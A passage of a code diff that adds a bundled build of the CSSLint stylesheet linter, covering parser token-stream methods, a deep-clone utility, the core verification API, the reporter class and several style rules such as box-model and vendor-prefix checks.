+        }
+
+        return tt;
+
+    },
+
+    /**
+     * Looks ahead a certain number of tokens and returns the token at
+     * that position. This will throw an error if you lookahead past the
+     * end of input, past the size of the lookahead buffer, or back past
+     * the first token in the lookahead buffer.
+     * @param {int} The index of the token type to retrieve. 0 for the
+     *      current token, 1 for the next, -1 for the previous, etc.
+     * @return {Object} The token of the token in the given position.
+     * @method LA
+     */
+    LT: function(index) {
+
+        //lookahead first to prime the token buffer
+        this.LA(index);
+
+        //now find the token, subtract one because _ltIndex is already at the next index
+        return this._lt[this._ltIndex+index-1];
+    },
+
+    /**
+     * Returns the token type for the next token in the stream without
+     * consuming it.
+     * @return {int} The token type of the next token in the stream.
+     * @method peek
+     */
+    peek: function() {
+        return this.LA(1);
+    },
+
+    /**
+     * Returns the actual token object for the last consumed token.
+     * @return {Token} The token object for the last consumed token.
+     * @method token
+     */
+    token: function() {
+        return this._token;
+    },
+
+    /**
+     * Returns the name of the token for the given token type.
+     * @param {int} tokenType The type of token to get the name of.
+     * @return {String} The name of the token or "UNKNOWN_TOKEN" for any
+     *      invalid token type.
+     * @method tokenName
+     */
+    tokenName: function(tokenType) {
+        if (tokenType < 0 || tokenType > this._tokenData.length) {
+            return "UNKNOWN_TOKEN";
+        } else {
+            return this._tokenData[tokenType].name;
+        }
+    },
+
+    /**
+     * Returns the token type value for the given token name.
+     * @param {String} tokenName The name of the token whose value should be returned.
+     * @return {int} The token type value for the given token name or -1
+     *      for an unknown token.
+     * @method tokenName
+     */
+    tokenType: function(tokenName) {
+        return this._tokenData[tokenName] || -1;
+    },
+
+    /**
+     * Returns the last consumed token to the token stream.
+     * @method unget
+     */
+    unget: function() {
+        //if (this._ltIndex > -1) {
+        if (this._ltIndexCache.length) {
+            this._ltIndex -= this._ltIndexCache.pop();//--;
+            this._token = this._lt[this._ltIndex - 1];
+        } else {
+            throw new Error("Too much lookahead.");
+        }
+    }
+
+};
+
+
+},{"./StringReader":24,"./SyntaxError":25}],28:[function(require,module,exports){
+"use strict";
+
+module.exports = {
+    StringReader    : require("./StringReader"),
+    SyntaxError     : require("./SyntaxError"),
+    SyntaxUnit      : require("./SyntaxUnit"),
+    EventTarget     : require("./EventTarget"),
+    TokenStreamBase : require("./TokenStreamBase")
+};
+
+},{"./EventTarget":23,"./StringReader":24,"./SyntaxError":25,"./SyntaxUnit":26,"./TokenStreamBase":27}],"parserlib":[function(require,module,exports){
+"use strict";
+
+module.exports = {
+    css  : require("./css"),
+    util : require("./util")
+};
+
+},{"./css":22,"./util":28}]},{},[]);
+
+return require('parserlib');
+})();
+var clone = (function() {
+'use strict';
+
+var nativeMap;
+try {
+  nativeMap = Map;
+} catch(_) {
+  // maybe a reference error because no `Map`. Give it a dummy value that no
+  // value will ever be an instanceof.
+  nativeMap = function() {};
+}
+
+var nativeSet;
+try {
+  nativeSet = Set;
+} catch(_) {
+  nativeSet = function() {};
+}
+
+var nativePromise;
+try {
+  nativePromise = Promise;
+} catch(_) {
+  nativePromise = function() {};
+}
+
+/**
+ * Clones (copies) an Object using deep copying.
+ *
+ * This function supports circular references by default, but if you are certain
+ * there are no circular references in your object, you can save some CPU time
+ * by calling clone(obj, false).
+ *
+ * Caution: if `circular` is false and `parent` contains circular references,
+ * your program may enter an infinite loop and crash.
+ *
+ * @param `parent` - the object to be cloned
+ * @param `circular` - set to true if the object to be cloned may contain
+ *    circular references. (optional - true by default)
+ * @param `depth` - set to a number if the object is only to be cloned to
+ *    a particular depth. (optional - defaults to Infinity)
+ * @param `prototype` - sets the prototype to be used when cloning an object.
+ *    (optional - defaults to parent prototype).
+ * @param `includeNonEnumerable` - set to true if the non-enumerable properties
+ *    should be cloned as well. Non-enumerable properties on the prototype
+ *    chain will be ignored. (optional - false by default)
+*/
+function clone(parent, circular, depth, prototype, includeNonEnumerable) {
+  if (typeof circular === 'object') {
+    depth = circular.depth;
+    prototype = circular.prototype;
+    includeNonEnumerable = circular.includeNonEnumerable;
+    circular = circular.circular;
+  }
+  // maintain two arrays for circular references, where corresponding parents
+  // and children have the same index
+  var allParents = [];
+  var allChildren = [];
+
+  var useBuffer = typeof Buffer != 'undefined';
+
+  if (typeof circular == 'undefined')
+    circular = true;
+
+  if (typeof depth == 'undefined')
+    depth = Infinity;
+
+  // recurse this function so we don't reset allParents and allChildren
+  function _clone(parent, depth) {
+    // cloning null always returns null
+    if (parent === null)
+      return null;
+
+    if (depth === 0)
+      return parent;
+
+    var child;
+    var proto;
+    if (typeof parent != 'object') {
+      return parent;
+    }
+
+    if (parent instanceof nativeMap) {
+      child = new nativeMap();
+    } else if (parent instanceof nativeSet) {
+      child = new nativeSet();
+    } else if (parent instanceof nativePromise) {
+      child = new nativePromise(function (resolve, reject) {
+        parent.then(function(value) {
+          resolve(_clone(value, depth - 1));
+        }, function(err) {
+          reject(_clone(err, depth - 1));
+        });
+      });
+    } else if (clone.__isArray(parent)) {
+      child = [];
+    } else if (clone.__isRegExp(parent)) {
+      child = new RegExp(parent.source, __getRegExpFlags(parent));
+      if (parent.lastIndex) child.lastIndex = parent.lastIndex;
+    } else if (clone.__isDate(parent)) {
+      child = new Date(parent.getTime());
+    } else if (useBuffer && Buffer.isBuffer(parent)) {
+      child = new Buffer(parent.length);
+      parent.copy(child);
+      return child;
+    } else if (parent instanceof Error) {
+      child = Object.create(parent);
+    } else {
+      if (typeof prototype == 'undefined') {
+        proto = Object.getPrototypeOf(parent);
+        child = Object.create(proto);
+      }
+      else {
+        child = Object.create(prototype);
+        proto = prototype;
+      }
+    }
+
+    if (circular) {
+      var index = allParents.indexOf(parent);
+
+      if (index != -1) {
+        return allChildren[index];
+      }
+      allParents.push(parent);
+      allChildren.push(child);
+    }
+
+    if (parent instanceof nativeMap) {
+      var keyIterator = parent.keys();
+      while(true) {
+        var next = keyIterator.next();
+        if (next.done) {
+          break;
+        }
+        var keyChild = _clone(next.value, depth - 1);
+        var valueChild = _clone(parent.get(next.value), depth - 1);
+        child.set(keyChild, valueChild);
+      }
+    }
+    if (parent instanceof nativeSet) {
+      var iterator = parent.keys();
+      while(true) {
+        var next = iterator.next();
+        if (next.done) {
+          break;
+        }
+        var entryChild = _clone(next.value, depth - 1);
+        child.add(entryChild);
+      }
+    }
+
+    for (var i in parent) {
+      var attrs;
+      if (proto) {
+        attrs = Object.getOwnPropertyDescriptor(proto, i);
+      }
+
+      if (attrs && attrs.set == null) {
+        continue;
+      }
+      child[i] = _clone(parent[i], depth - 1);
+    }
+
+    if (Object.getOwnPropertySymbols) {
+      var symbols = Object.getOwnPropertySymbols(parent);
+      for (var i = 0; i < symbols.length; i++) {
+        // Don't need to worry about cloning a symbol because it is a primitive,
+        // like a number or string.
+        var symbol = symbols[i];
+        var descriptor = Object.getOwnPropertyDescriptor(parent, symbol);
+        if (descriptor && !descriptor.enumerable && !includeNonEnumerable) {
+          continue;
+        }
+        child[symbol] = _clone(parent[symbol], depth - 1);
+        if (!descriptor.enumerable) {
+          Object.defineProperty(child, symbol, {
+            enumerable: false
+          });
+        }
+      }
+    }
+
+    if (includeNonEnumerable) {
+      var allPropertyNames = Object.getOwnPropertyNames(parent);
+      for (var i = 0; i < allPropertyNames.length; i++) {
+        var propertyName = allPropertyNames[i];
+        var descriptor = Object.getOwnPropertyDescriptor(parent, propertyName);
+        if (descriptor && descriptor.enumerable) {
+          continue;
+        }
+        child[propertyName] = _clone(parent[propertyName], depth - 1);
+        Object.defineProperty(child, propertyName, {
+          enumerable: false
+        });
+      }
+    }
+
+    return child;
+  }
+
+  return _clone(parent, depth);
+}
+
+/**
+ * Simple flat clone using prototype, accepts only objects, usefull for property
+ * override on FLAT configuration object (no nested props).
+ *
+ * USE WITH CAUTION! This may not behave as you wish if you do not know how this
+ * works.
+ */
+clone.clonePrototype = function clonePrototype(parent) {
+  if (parent === null)
+    return null;
+
+  var c = function () {};
+  c.prototype = parent;
+  return new c();
+};
+
+// private utility functions
+
+function __objToStr(o) {
+  return Object.prototype.toString.call(o);
+}
+clone.__objToStr = __objToStr;
+
+function __isDate(o) {
+  return typeof o === 'object' && __objToStr(o) === '[object Date]';
+}
+clone.__isDate = __isDate;
+
+function __isArray(o) {
+  return typeof o === 'object' && __objToStr(o) === '[object Array]';
+}
+clone.__isArray = __isArray;
+
+function __isRegExp(o) {
+  return typeof o === 'object' && __objToStr(o) === '[object RegExp]';
+}
+clone.__isRegExp = __isRegExp;
+
+function __getRegExpFlags(re) {
+  var flags = '';
+  if (re.global) flags += 'g';
+  if (re.ignoreCase) flags += 'i';
+  if (re.multiline) flags += 'm';
+  return flags;
+}
+clone.__getRegExpFlags = __getRegExpFlags;
+
+return clone;
+})();
+
+if (typeof module === 'object' && module.exports) {
+  module.exports = clone;
+}
+
+/**
+ * Main CSSLint object.
+ * @class CSSLint
+ * @static
+ * @extends parserlib.util.EventTarget
+ */
+
+/* global parserlib, clone, Reporter */
+/* exported CSSLint */
+
+var CSSLint = (function() {
+    "use strict";
+
+    var rules           = [],
+        formatters      = [],
+        embeddedRuleset = /\/\*\s*csslint([^\*]*)\*\//,
+        api             = new parserlib.util.EventTarget();
+
+    api.version = "1.0.4";
+
+    //-------------------------------------------------------------------------
+    // Rule Management
+    //-------------------------------------------------------------------------
+
+    /**
+     * Adds a new rule to the engine.
+     * @param {Object} rule The rule to add.
+     * @method addRule
+     */
+    api.addRule = function(rule) {
+        rules.push(rule);
+        rules[rule.id] = rule;
+    };
+
+    /**
+     * Clears all rule from the engine.
+     * @method clearRules
+     */
+    api.clearRules = function() {
+        rules = [];
+    };
+
+    /**
+     * Returns the rule objects.
+     * @return An array of rule objects.
+     * @method getRules
+     */
+    api.getRules = function() {
+        return [].concat(rules).sort(function(a, b) {
+            return a.id > b.id ? 1 : 0;
+        });
+    };
+
+    /**
+     * Returns a ruleset configuration object with all current rules.
+     * @return A ruleset object.
+     * @method getRuleset
+     */
+    api.getRuleset = function() {
+        var ruleset = {},
+            i = 0,
+            len = rules.length;
+
+        while (i < len) {
+            ruleset[rules[i++].id] = 1;    // by default, everything is a warning
+        }
+
+        return ruleset;
+    };
+
+    /**
+     * Returns a ruleset object based on embedded rules.
+     * @param {String} text A string of css containing embedded rules.
+     * @param {Object} ruleset A ruleset object to modify.
+     * @return {Object} A ruleset object.
+     * @method getEmbeddedRuleset
+     */
+    function applyEmbeddedRuleset(text, ruleset) {
+        var valueMap,
+            embedded = text && text.match(embeddedRuleset),
+            rules = embedded && embedded[1];
+
+        if (rules) {
+            valueMap = {
+                "true": 2,  // true is error
+                "": 1,      // blank is warning
+                "false": 0, // false is ignore
+
+                "2": 2,     // explicit error
+                "1": 1,     // explicit warning
+                "0": 0      // explicit ignore
+            };
+
+            rules.toLowerCase().split(",").forEach(function(rule) {
+                var pair = rule.split(":"),
+                    property = pair[0] || "",
+                    value = pair[1] || "";
+
+                ruleset[property.trim()] = valueMap[value.trim()];
+            });
+        }
+
+        return ruleset;
+    }
+
+    //-------------------------------------------------------------------------
+    // Formatters
+    //-------------------------------------------------------------------------
+
+    /**
+     * Adds a new formatter to the engine.
+     * @param {Object} formatter The formatter to add.
+     * @method addFormatter
+     */
+    api.addFormatter = function(formatter) {
+        // formatters.push(formatter);
+        formatters[formatter.id] = formatter;
+    };
+
+    /**
+     * Retrieves a formatter for use.
+     * @param {String} formatId The name of the format to retrieve.
+     * @return {Object} The formatter or undefined.
+     * @method getFormatter
+     */
+    api.getFormatter = function(formatId) {
+        return formatters[formatId];
+    };
+
+    /**
+     * Formats the results in a particular format for a single file.
+     * @param {Object} result The results returned from CSSLint.verify().
+     * @param {String} filename The filename for which the results apply.
+     * @param {String} formatId The name of the formatter to use.
+     * @param {Object} options (Optional) for special output handling.
+     * @return {String} A formatted string for the results.
+     * @method format
+     */
+    api.format = function(results, filename, formatId, options) {
+        var formatter = this.getFormatter(formatId),
+            result = null;
+
+        if (formatter) {
+            result = formatter.startFormat();
+            result += formatter.formatResults(results, filename, options || {});
+            result += formatter.endFormat();
+        }
+
+        return result;
+    };
+
+    /**
+     * Indicates if the given format is supported.
+     * @param {String} formatId The ID of the format to check.
+     * @return {Boolean} True if the format exists, false if not.
+     * @method hasFormat
+     */
+    api.hasFormat = function(formatId) {
+        return formatters.hasOwnProperty(formatId);
+    };
+
+    //-------------------------------------------------------------------------
+    // Verification
+    //-------------------------------------------------------------------------
+
+    /**
+     * Starts the verification process for the given CSS text.
+     * @param {String} text The CSS text to verify.
+     * @param {Object} ruleset (Optional) List of rules to apply. If null, then
+     *      all rules are used. If a rule has a value of 1 then it's a warning,
+     *      a value of 2 means it's an error.
+     * @return {Object} Results of the verification.
+     * @method verify
+     */
+    api.verify = function(text, ruleset) {
+
+        var i = 0,
+            reporter,
+            lines,
+            allow = {},
+            ignore = [],
+            report,
+            parser = new parserlib.css.Parser({
+                starHack: true,
+                ieFilters: true,
+                underscoreHack: true,
+                strict: false
+            });
+
+        // normalize line endings
+        lines = text.replace(/\n\r?/g, "$split$").split("$split$");
+
+        // find 'allow' comments
+        CSSLint.Util.forEach(lines, function (line, lineno) {
+            var allowLine = line && line.match(/\/\*[ \t]*csslint[ \t]+allow:[ \t]*([^\*]*)\*\//i),
+                allowRules = allowLine && allowLine[1],
+                allowRuleset = {};
+
+            if (allowRules) {
+                allowRules.toLowerCase().split(",").forEach(function(allowRule) {
+                    allowRuleset[allowRule.trim()] = true;
+                });
+                if (Object.keys(allowRuleset).length > 0) {
+                    allow[lineno + 1] = allowRuleset;
+                }
+            }
+        });
+
+        var ignoreStart = null,
+            ignoreEnd = null;
+        CSSLint.Util.forEach(lines, function (line, lineno) {
+            // Keep oldest, "unclosest" ignore:start
+            if (ignoreStart === null && line.match(/\/\*[ \t]*csslint[ \t]+ignore:start[ \t]*\*\//i)) {
+                ignoreStart = lineno;
+            }
+
+            if (line.match(/\/\*[ \t]*csslint[ \t]+ignore:end[ \t]*\*\//i)) {
+                ignoreEnd = lineno;
+            }
+
+            if (ignoreStart !== null && ignoreEnd !== null) {
+                ignore.push([ignoreStart, ignoreEnd]);
+                ignoreStart = ignoreEnd = null;
+            }
+        });
+
+        // Close remaining ignore block, if any
+        if (ignoreStart !== null) {
+            ignore.push([ignoreStart, lines.length]);
+        }
+
+        if (!ruleset) {
+            ruleset = this.getRuleset();
+        }
+
+        if (embeddedRuleset.test(text)) {
+            // defensively copy so that caller's version does not get modified
+            ruleset = clone(ruleset);
+            ruleset = applyEmbeddedRuleset(text, ruleset);
+        }
+
+        reporter = new Reporter(lines, ruleset, allow, ignore);
+
+        ruleset.errors = 2;       // always report parsing errors as errors
+        for (i in ruleset) {
+            if (ruleset.hasOwnProperty(i) && ruleset[i]) {
+                if (rules[i]) {
+                    rules[i].init(parser, reporter);
+                }
+            }
+        }
+
+
+        // capture most horrible error type
+        try {
+            parser.parse(text);
+        } catch (ex) {
+            reporter.error("Fatal error, cannot continue: " + ex.message, ex.line, ex.col, {});
+        }
+
+        report = {
+            messages    : reporter.messages,
+            stats       : reporter.stats,
+            ruleset     : reporter.ruleset,
+            allow       : reporter.allow,
+            ignore      : reporter.ignore
+        };
+
+        // sort by line numbers, rollups at the bottom
+        report.messages.sort(function (a, b) {
+            if (a.rollup && !b.rollup) {
+                return 1;
+            } else if (!a.rollup && b.rollup) {
+                return -1;
+            } else {
+                return a.line - b.line;
+            }
+        });
+
+        return report;
+    };
+
+    //-------------------------------------------------------------------------
+    // Publish the API
+    //-------------------------------------------------------------------------
+
+    return api;
+
+})();
+
+/**
+ * An instance of Report is used to report results of the
+ * verification back to the main API.
+ * @class Reporter
+ * @constructor
+ * @param {String[]} lines The text lines of the source.
+ * @param {Object} ruleset The set of rules to work with, including if
+ *      they are errors or warnings.
+ * @param {Object} explicitly allowed lines
+ * @param {[][]} ingore list of line ranges to be ignored
+ */
+function Reporter(lines, ruleset, allow, ignore) {
+    "use strict";
+
+    /**
+     * List of messages being reported.
+     * @property messages
+     * @type String[]
+     */
+    this.messages = [];
+
+    /**
+     * List of statistics being reported.
+     * @property stats
+     * @type String[]
+     */
+    this.stats = [];
+
+    /**
+     * Lines of code being reported on. Used to provide contextual information
+     * for messages.
+     * @property lines
+     * @type String[]
+     */
+    this.lines = lines;
+
+    /**
+     * Information about the rules. Used to determine whether an issue is an
+     * error or warning.
+     * @property ruleset
+     * @type Object
+     */
+    this.ruleset = ruleset;
+
+    /**
+     * Lines with specific rule messages to leave out of the report.
+     * @property allow
+     * @type Object
+     */
+    this.allow = allow;
+    if (!this.allow) {
+        this.allow = {};
+    }
+
+    /**
+     * Linesets not to include in the report.
+     * @property ignore
+     * @type [][]
+     */
+    this.ignore = ignore;
+    if (!this.ignore) {
+        this.ignore = [];
+    }
+}
+
+Reporter.prototype = {
+
+    // restore constructor
+    constructor: Reporter,
+
+    /**
+     * Report an error.
+     * @param {String} message The message to store.
+     * @param {int} line The line number.
+     * @param {int} col The column number.
+     * @param {Object} rule The rule this message relates to.
+     * @method error
+     */
+    error: function(message, line, col, rule) {
+        "use strict";
+        this.messages.push({
+            type    : "error",
+            line    : line,
+            col     : col,
+            message : message,
+            evidence: this.lines[line-1],
+            rule    : rule || {}
+        });
+    },
+
+    /**
+     * Report an warning.
+     * @param {String} message The message to store.
+     * @param {int} line The line number.
+     * @param {int} col The column number.
+     * @param {Object} rule The rule this message relates to.
+     * @method warn
+     * @deprecated Use report instead.
+     */
+    warn: function(message, line, col, rule) {
+        "use strict";
+        this.report(message, line, col, rule);
+    },
+
+    /**
+     * Report an issue.
+     * @param {String} message The message to store.
+     * @param {int} line The line number.
+     * @param {int} col The column number.
+     * @param {Object} rule The rule this message relates to.
+     * @method report
+     */
+    report: function(message, line, col, rule) {
+        "use strict";
+
+        // Check if rule violation should be allowed
+        if (this.allow.hasOwnProperty(line) && this.allow[line].hasOwnProperty(rule.id)) {
+            return;
+        }
+
+        var ignore = false;
+        CSSLint.Util.forEach(this.ignore, function (range) {
+            if (range[0] <= line && line <= range[1]) {
+                ignore = true;
+            }
+        });
+        if (ignore) {
+            return;
+        }
+
+        this.messages.push({
+            type    : this.ruleset[rule.id] === 2 ? "error" : "warning",
+            line    : line,
+            col     : col,
+            message : message,
+            evidence: this.lines[line-1],
+            rule    : rule
+        });
+    },
+
+    /**
+     * Report some informational text.
+     * @param {String} message The message to store.
+     * @param {int} line The line number.
+     * @param {int} col The column number.
+     * @param {Object} rule The rule this message relates to.
+     * @method info
+     */
+    info: function(message, line, col, rule) {
+        "use strict";
+        this.messages.push({
+            type    : "info",
+            line    : line,
+            col     : col,
+            message : message,
+            evidence: this.lines[line-1],
+            rule    : rule
+        });
+    },
+
+    /**
+     * Report some rollup error information.
+     * @param {String} message The message to store.
+     * @param {Object} rule The rule this message relates to.
+     * @method rollupError
+     */
+    rollupError: function(message, rule) {
+        "use strict";
+        this.messages.push({
+            type    : "error",
+            rollup  : true,
+            message : message,
+            rule    : rule
+        });
+    },
+
+    /**
+     * Report some rollup warning information.
+     * @param {String} message The message to store.
+     * @param {Object} rule The rule this message relates to.
+     * @method rollupWarn
+     */
+    rollupWarn: function(message, rule) {
+        "use strict";
+        this.messages.push({
+            type    : "warning",
+            rollup  : true,
+            message : message,
+            rule    : rule
+        });
+    },
+
+    /**
+     * Report a statistic.
+     * @param {String} name The name of the stat to store.
+     * @param {Variant} value The value of the stat.
+     * @method stat
+     */
+    stat: function(name, value) {
+        "use strict";
+        this.stats[name] = value;
+    }
+};
+
+// expose for testing purposes
+CSSLint._Reporter = Reporter;
+
+/*
+ * Utility functions that make life easier.
+ */
+CSSLint.Util = {
+    /*
+     * Adds all properties from supplier onto receiver,
+     * overwriting if the same name already exists on
+     * receiver.
+     * @param {Object} The object to receive the properties.
+     * @param {Object} The object to provide the properties.
+     * @return {Object} The receiver
+     */
+    mix: function(receiver, supplier) {
+        "use strict";
+        var prop;
+
+        for (prop in supplier) {
+            if (supplier.hasOwnProperty(prop)) {
+                receiver[prop] = supplier[prop];
+            }
+        }
+
+        return prop;
+    },
+
+    /*
+     * Polyfill for array indexOf() method.
+     * @param {Array} values The array to search.
+     * @param {Variant} value The value to search for.
+     * @return {int} The index of the value if found, -1 if not.
+     */
+    indexOf: function(values, value) {
+        "use strict";
+        if (values.indexOf) {
+            return values.indexOf(value);
+        } else {
+            for (var i=0, len=values.length; i < len; i++) {
+                if (values[i] === value) {
+                    return i;
+                }
+            }
+            return -1;
+        }
+    },
+
+    /*
+     * Polyfill for array forEach() method.
+     * @param {Array} values The array to operate on.
+     * @param {Function} func The function to call on each item.
+     * @return {void}
+     */
+    forEach: function(values, func) {
+        "use strict";
+        if (values.forEach) {
+            return values.forEach(func);
+        } else {
+            for (var i=0, len=values.length; i < len; i++) {
+                func(values[i], i, values);
+            }
+        }
+    }
+};
+
+/*
+ * Rule: Don't use adjoining classes (.foo.bar).
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "adjoining-classes",
+    name: "Disallow adjoining classes",
+    desc: "Don't use adjoining classes.",
+    url: "https://github.com/CSSLint/csslint/wiki/Disallow-adjoining-classes",
+    browsers: "IE6",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this;
+        parser.addListener("startrule", function(event) {
+            var selectors = event.selectors,
+                selector,
+                part,
+                modifier,
+                classCount,
+                i, j, k;
+
+            for (i=0; i < selectors.length; i++) {
+                selector = selectors[i];
+                for (j=0; j < selector.parts.length; j++) {
+                    part = selector.parts[j];
+                    if (part.type === parser.SELECTOR_PART_TYPE) {
+                        classCount = 0;
+                        for (k=0; k < part.modifiers.length; k++) {
+                            modifier = part.modifiers[k];
+                            if (modifier.type === "class") {
+                                classCount++;
+                            }
+                            if (classCount > 1){
+                                reporter.report("Adjoining classes: "+selectors[i].text, part.line, part.col, rule);
+                            }
+                        }
+                    }
+                }
+            }
+        });
+    }
+
+});
+
+/*
+ * Rule: Don't use width or height when using padding or border.
+ */
+CSSLint.addRule({
+
+    // rule information
+    id: "box-model",
+    name: "Beware of broken box size",
+    desc: "Don't use width or height when using padding or border.",
+    url: "https://github.com/CSSLint/csslint/wiki/Beware-of-box-model-size",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this,
+            widthProperties = {
+                border: 1,
+                "border-left": 1,
+                "border-right": 1,
+                padding: 1,
+                "padding-left": 1,
+                "padding-right": 1
+            },
+            heightProperties = {
+                border: 1,
+                "border-bottom": 1,
+                "border-top": 1,
+                padding: 1,
+                "padding-bottom": 1,
+                "padding-top": 1
+            },
+            properties,
+            boxSizing = false;
+
+        function startRule() {
+            properties = {};
+            boxSizing = false;
+        }
+
+        function endRule() {
+            var prop, value;
+
+            if (!boxSizing) {
+                if (properties.height) {
+                    for (prop in heightProperties) {
+                        if (heightProperties.hasOwnProperty(prop) && properties[prop]) {
+                            value = properties[prop].value;
+                            // special case for padding
+                            if (!(prop === "padding" && value.parts.length === 2 && value.parts[0].value === 0)) {
+                                reporter.report("Using height with " + prop + " can sometimes make elements larger than you expect.", properties[prop].line, properties[prop].col, rule);
+                            }
+                        }
+                    }
+                }
+
+                if (properties.width) {
+                    for (prop in widthProperties) {
+                        if (widthProperties.hasOwnProperty(prop) && properties[prop]) {
+                            value = properties[prop].value;
+
+                            if (!(prop === "padding" && value.parts.length === 2 && value.parts[1].value === 0)) {
+                                reporter.report("Using width with " + prop + " can sometimes make elements larger than you expect.", properties[prop].line, properties[prop].col, rule);
+                            }
+                        }
+                    }
+                }
+            }
+        }
+
+        parser.addListener("startrule", startRule);
+        parser.addListener("startfontface", startRule);
+        parser.addListener("startpage", startRule);
+        parser.addListener("startpagemargin", startRule);
+        parser.addListener("startkeyframerule", startRule);
+        parser.addListener("startviewport", startRule);
+
+        parser.addListener("property", function(event) {
+            var name = event.property.text.toLowerCase();
+
+            if (heightProperties[name] || widthProperties[name]) {
+                if (!/^0\S*$/.test(event.value) && !(name === "border" && event.value.toString() === "none")) {
+                    properties[name] = {
+                        line: event.property.line,
+                        col: event.property.col,
+                        value: event.value
+                    };
+                }
+            } else {
+                if (/^(width|height)/i.test(name) && /^(length|percentage)/.test(event.value.parts[0].type)) {
+                    properties[name] = 1;
+                } else if (name === "box-sizing") {
+                    boxSizing = true;
+                }
+            }
+
+        });
+
+        parser.addListener("endrule", endRule);
+        parser.addListener("endfontface", endRule);
+        parser.addListener("endpage", endRule);
+        parser.addListener("endpagemargin", endRule);
+        parser.addListener("endkeyframerule", endRule);
+        parser.addListener("endviewport", endRule);
+    }
+
+});
+
+/*
+ * Rule: box-sizing doesn't work in IE6 and IE7.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "box-sizing",
+    name: "Disallow use of box-sizing",
+    desc: "The box-sizing properties isn't supported in IE6 and IE7.",
+    url: "https://github.com/CSSLint/csslint/wiki/Disallow-box-sizing",
+    browsers: "IE6, IE7",
+    tags: ["Compatibility"],
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this;
+
+        parser.addListener("property", function(event) {
+            var name = event.property.text.toLowerCase();
+
+            if (name === "box-sizing") {
+                reporter.report("The box-sizing property isn't supported in IE6 and IE7.", event.line, event.col, rule);
+            }
+        });
+    }
+
+});
+
+/*
+ * Rule: Use the bulletproof @font-face syntax to avoid 404's in old IE
+ * (http://www.fontspring.com/blog/the-new-bulletproof-font-face-syntax)
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "bulletproof-font-face",
+    name: "Use the bulletproof @font-face syntax",
+    desc: "Use the bulletproof @font-face syntax to avoid 404's in old IE (http://www.fontspring.com/blog/the-new-bulletproof-font-face-syntax).",
+    url: "https://github.com/CSSLint/csslint/wiki/Bulletproof-font-face",
+    browsers: "All",
+
+    // initialization
+    init: function(parser, reporter) {
+        "use strict";
+        var rule = this,
+            fontFaceRule = false,
+            firstSrc = true,
+            ruleFailed = false,
+            line, col;
+
+        // Mark the start of a @font-face declaration so we only test properties inside it
+        parser.addListener("startfontface", function() {
+            fontFaceRule = true;
+        });
+
+        parser.addListener("property", function(event) {
+            // If we aren't inside an @font-face declaration then just return
+            if (!fontFaceRule) {
+                return;
+            }
+
+            var propertyName = event.property.toString().toLowerCase(),
+                value = event.value.toString();
+
+            // Set the line and col numbers for use in the endfontface listener
+            line = event.line;
+            col = event.col;
+
+            // This is the property that we care about, we can ignore the rest
+            if (propertyName === "src") {
+                var regex = /^\s?url\(['"].+\.eot\?.*['"]\)\s*format\(['"]embedded-opentype['"]\).*$/i;
+
+                // We need to handle the advanced syntax with two src properties
+                if (!value.match(regex) && firstSrc) {
+                    ruleFailed = true;
+                    firstSrc = false;
+                } else if (value.match(regex) && !firstSrc) {
+                    ruleFailed = false;
+                }
+            }
+
+
+        });
+
+        // Back to normal rules that we don't need to test
+        parser.addListener("endfontface", function() {
+            fontFaceRule = false;
+
+            if (ruleFailed) {
+                reporter.report("@font-face declaration doesn't follow the fontspring bulletproof syntax.", line, col, rule);
+            }
+        });
+    }
+});
+
+/*
+ * Rule: Include all compatible vendor prefixes to reach a wider
+ * range of users.
+ */
+
+CSSLint.addRule({
+
+    // rule information
+    id: "compatible-vendor-prefixes",
+    name: "Require compatible vendor prefixes",
+    desc: "Include all compatible vendor prefixes to reach a wider range of users.",
+    url: "https://github.com/CSSLint/csslint/wiki/Require-compatible-vendor-prefixes",
+    browsers: "All",
+
+    // initialization
+    init: function (parser, reporter) {
+        "use strict";
+        var rule = this,
+            compatiblePrefixes,
+            properties,
+            prop,
+            variations,
+            prefixed,
+            i,
+            len,
+            inKeyFrame = false,
+            arrayPush = Array.prototype.push,
+            applyTo = [];
+
+        // See http://peter.sh/experiments/vendor-prefixed-css-property-overview/ for details
+        compatiblePrefixes = {
+            "animation"                  : "webkit",
+            "animation-delay"            : "webkit",
+            "animation-direction"        : "webkit",
+            "animation-duration"         : "webkit",
+            "animation-fill-mode"        : "webkit",
+            "animation-iteration-count"  : "webkit",
+            "animation-name"             : "webkit",
+            "animation-play-state"       : "webkit",
+            "animation-timing-function"  : "webkit",
+            "appearance"                 : "webkit moz",
+            "border-end"                 : "webkit moz",
+            "border-end-color"           : "webkit moz",
+            "border-end-style"           : "webkit moz",
+            "border-end-width"           : "webkit moz",
+            "border-image"               : "webkit moz o",
+            "border-radius"              : "webkit",
+            "border-start"               : "webkit moz",
+            "border-start-color"         : "webkit moz",
+            "border-start-style"         : "webkit moz",
+            "border-start-width"         : "webkit moz",
+            "box-align"                  : "webkit moz ms",
+            "box-direction"              : "webkit moz ms",
+            "box-flex"                   : "webkit moz ms",
+            "box-lines"                  : "webkit ms",
+            "box-ordinal-group"          : "webkit moz ms",
+            "box-orient"                 : "webkit moz ms",
+            "box-pack"                   : "webkit moz ms",
+            "box-sizing"                 : "",
+            "box-shadow"                 : "",
+            "column-count"               : "webkit moz ms",
+            "column-gap"                 : "webkit moz ms",
+            "column-rule"                : "webkit moz ms",
+            "column-rule-color"          : "webkit moz ms",
+            "column-rule-style"          : "webkit moz ms",
+            "column-rule-width"          : "webkit moz ms",
+            "column-width"               : "webkit moz ms",
+            "hyphens"                    : "epub moz",
+            "line-break"                 : "webkit ms",
+            "margin-end"                 : "webkit moz",
+            "margin-start"               : "webkit moz",
+            "marquee-speed"              : "webkit wap",
+            "marquee-style"              : "webkit wap",
+            "padding-end"                : "webkit moz",
+            "padding-start"              : "webkit moz",
+            "tab-size"                   : "moz o",
+            "text-size-adjust"           : "webkit ms",
+            "transform"                  : "webkit ms",
+            "transform-origin"           : "webkit ms",
+            "transition"                 : "",
+            "transition-delay"           : "",
+            "transition-duration"        : "",
+            "transition-property"        : "",
+            "transition-timing-function" : "",
+            "user-modify"                : "webkit moz",
+            "user-select"                : "webkit moz ms",
+            "word-break"                 : "epub ms",
+            "writing-mode"               : "epub ms"
+        };
+
+
